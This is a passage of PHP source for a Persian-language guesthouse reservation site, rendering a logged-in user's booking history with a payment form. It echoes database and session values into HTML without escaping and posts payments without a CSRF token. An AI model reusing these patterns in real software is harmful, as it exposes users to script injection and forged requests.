                    },
                    navigator: {
                        scroll: {
                            enabled: true
                        }
                    },
                    observer: true,
                    cellWidth: 35,
                    cellHeight: 30
                });
            });
        </script>
    </body>
    </html>
    <?php
    exit();
}

function showHistory() {
    global $pdo;
    
    if (!isLoggedIn()) {
        redirect('index.php');
    }
    
    $user_id = $_SESSION['user_id'];
    
    // دریافت سوابق رزرو کاربر
    $stmt = $pdo->prepare("SELECT * FROM reservations WHERE user_id = ? ORDER BY created_at DESC");
    $stmt->execute([$user_id]);
    $reservations = $stmt->fetchAll();
    ?>
    <!DOCTYPE html>
    <html lang="fa" dir="rtl">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>تاریخچه رزروها - نسیم رضوان</title>
        <link href="https://cdn.jsdelivr.net/gh/rastikerdar/sahel-font@v3.4.0/dist/font-face.css" rel="stylesheet">
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
        <style>
            /* استایل‌های تاریخچه */
            * { 
                box-sizing: border-box; 
                margin: 0; 
                padding: 0; 
                font-family: 'Sahel', sans-serif; 
            }
            
            body { 
                background: linear-gradient(135deg, #f5f7fa 0%, #c3cfe2 100%);
                background-size: cover; 
                background-attachment: fixed; 
                margin: 0; 
                padding: 0; 
                min-height: 100vh; 
                display: flex; 
                flex-direction: column; 
                align-items: center; 
            }
            
            .main-container { 
                width: 100%; 
                max-width: 600px; 
                margin: 20px auto; 
                padding: 0 15px; 
            }
            
            .header { 
                background: linear-gradient(135deg, #2B91AF 0%, #1e7ba5 100%);
                border-radius: 15px 15px 0 0; 
                padding: 20px; 
                color: white; 
                text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.3); 
                display: flex; 
                align-items: center; 
                justify-content: space-between; 
            }
            
            .logo { 
                height: 55px; 
                margin-left: 15px; 
                border-radius: 10px;
                box-shadow: 0 3px 10px rgba(0, 0, 0, 0.2);
            }
            
            .header-text h1 { 
                margin: 0; 
                font-size: 1.6rem; 
                font-weight: bold;
            }
            
            .header-text p { 
                margin: 8px 0 0; 
                font-size: 1rem; 
                opacity: 0.9;
            }
            
            .main-content { 
                background-color: rgba(255, 255, 255, 0.95); 
                border-radius: 0 0 15px 15px; 
                padding: 25px; 
                box-shadow: 0 10px 25px rgba(0, 0, 0, 0.1); 
                margin-bottom: 20px; 
            }
            
            .user-info { 
                text-align: center; 
                padding: 15px 0; 
                margin-bottom: 20px; 
                border-bottom: 1px solid #eee; 
            }
            
            .user-info p { 
                margin: 8px 0; 
                color: #555; 
                font-size: 1rem;
            }
            
            .history-section { 
                margin-bottom: 20px; 
            }
            
            .section-header { 
                display: flex; 
                align-items: center; 
                margin-bottom: 20px; 
                padding-bottom: 12px; 
                border-bottom: 2px solid #f0f0f0; 
            }
            
            .section-header .icon { 
                font-size: 24px; 
                margin-left: 12px; 
                color: #2B91AF;
            }
            
            .section-header h2 { 
                color: #2c5e2e; 
                margin: 0; 
                font-weight: bold;
            }
            
            .empty-state { 
                text-align: center; 
                padding: 40px 0; 
                color: #666; 
            }
            
            .empty-state i {
                font-size: 50px;
                margin-bottom: 15px;
                color: #ccc;
            }
            
            .empty-state p {
                font-size: 1.1rem;
            }
            
            .reservations-list { 
                margin-top: 20px; 
            }
            
            .reservation-item { 
                background-color: #f8f9fa; 
                padding: 20px; 
                border-radius: 12px; 
                margin-bottom: 15px; 
                border: 1px solid #eee; 
                box-shadow: 0 5px 15px rgba(0,0,0,0.05);
                transition: all 0.3s ease;
            }
            
            .reservation-item:hover {
                transform: translateY(-3px);
                box-shadow: 0 8px 20px rgba(0,0,0,0.08);
            }
            
            .reservation-info p { 
                margin-bottom: 10px; 
                display: flex;
                align-items: center;
            }
            
            .reservation-info strong {
                min-width: 100px;
                display: inline-block;
                color: #555;
            }
            
            .status-paid { 
                color: #28a745; 
                font-weight: bold; 
                background-color: rgba(40, 167, 69, 0.1);
                padding: 5px 10px;
                border-radius: 20px;
                font-size: 0.9rem;
            }
            
            .status-pending { 
                color: #dc3545; 
                font-weight: bold; 
                background-color: rgba(220, 53, 69, 0.1);
                padding: 5px 10px;
                border-radius: 20px;
                font-size: 0.9rem;
            }
            
            .btn-pay { 
                padding: 10px 20px; 
                background: linear-gradient(135deg, #28a745 0%, #20c997 100%);
                color: white; 
                border: none; 
                border-radius: 8px; 
                cursor: pointer; 
                margin-top: 15px; 
                font-weight: bold;
                transition: all 0.3s ease;
                display: inline-flex;
                align-items: center;
            }
            
            .btn-pay:hover { 
                background: linear-gradient(135deg, #20c997 0%, #28a745 100%);
                transform: translateY(-2px);
                box-shadow: 0 5px 15px rgba(0,0,0,0.1);
            }
            
            .btn-pay i {
                margin-left: 8px;
            }
            
            .btn-secondary { 
                display: inline-flex; 
                align-items: center; 
                justify-content: center; 
                padding: 12px 20px; 
                background: linear-gradient(135deg, #6c757d 0%, #5a6268 100%); 
                color: white; 
                text-decoration: none; 
                border-radius: 10px; 
                margin-top: 15px; 
                transition: all 0.3s ease;
                font-weight: bold;
            }
            
            .btn-secondary:hover { 
                background: linear-gradient(135deg, #5a6268 0%, #6c757d 100%);
                transform: translateY(-2px);
                box-shadow:   5px 15px rgba(0,0,0,0.1);
            }
            
            @media (max-width: 576px) {
                .main-container {
                    max-width: 100%;
                    padding: 0 10px;
                }
                
                .header {
                    padding: 15px;
                }
                
                .header h1 {
                    font-size: 1.4rem;
                }
                
                .main-content {
                    padding: 20px;
                }
                
                .reservation-item {
                    padding: 15px;
                }
                
                .reservation-info p {
                    flex-direction: column;
                    align-items: flex-start;
                }
                
                .reservation-info strong {
                    margin-bottom: 5px;
                }
            }
        </style>
    </head>
    <body>
        <div class="main-container">
            <div class="header">
                <img src="images/logo.png" alt="لوگو نسیم رضوان" class="logo">
                <div class="header-text">
                    <h1>تاریخچه رزروها</h1>
                    <p>مهمان سرا نسیم رضوان</p>
                </div>
            </div>
            
            <div class="main-content">
                <div class="user-info">
                    <p><i class="fas fa-mobile-alt"></i> شماره موبایل: <?php echo $_SESSION['mobile']; ?></p>
                </div>

                <div class="history-section">
                    <div class="section-header">
                        <i class="icon fas fa-history"></i>
                        <h2>سوابق رزرو</h2>
                    </div>
                    
                    <?php if (empty($reservations)): ?>
                        <div class="empty-state">
                            <i class="fas fa-inbox"></i>
                            <p>هنوز سابقه‌ای ندارید.</p>
                        </div>
                    <?php else: ?>
                        <div class="reservations-list">
                            <?php foreach ($reservations as $reservation): ?>
                                <div class="reservation-item">
                                    <div class="reservation-info">
                                        <p><strong>نوع:</strong> <?php echo $reservation['type']; ?></p>
                                        <p><strong>نام:</strong> <?php echo $reservation['name']; ?></p>
                                        <p><strong>تاریخ:</strong> <?php echo $reservation['date']; ?></p>
                                        <p><strong>وعده غذایی:</strong> <?php echo $reservation['meal_type']; ?></p>
                                        <p><strong>مبلغ:</strong> <?php echo number_format($reservation['amount']); ?> تومان</p>
                                        <p><strong>وضعیت:</strong> 
                                            <span class="status-<?php echo $reservation['status']; ?>">
                                                <?php 
                                                if ($reservation['status'] == 'paid') {
                                                    echo 'پرداخت شده';
                                                } else {
                                                    echo 'پرداخت نشده';
                                                }
                                                ?>
                                            </span>
                                        </p>
                                        
                                        <?php if ($reservation['status'] == 'pending'): ?>
                                            <form action="/NasimRezvan/pay" method="POST">
                                                <input type="hidden" name="reservation_id" value="<?php echo $reservation['id']; ?>">
                                                <button type="submit" class="btn-pay"><i class="fas fa-credit-card"></i> پرداخت</button>
                                            </form>
                                        <?php endif; ?>
                                    </div>
                                </div>
                            <?php endforeach; ?>
                        </div>
                    <?php endif; ?>
                </div>
                
                <a href="index.php?action=dashboard" class="btn-secondary"><i class="fas fa-arrow-right"></i> بازگشت به داشبورد</a>
            </div>
        </div>
    </body>
    </html>
    <?php
    exit();
}
?>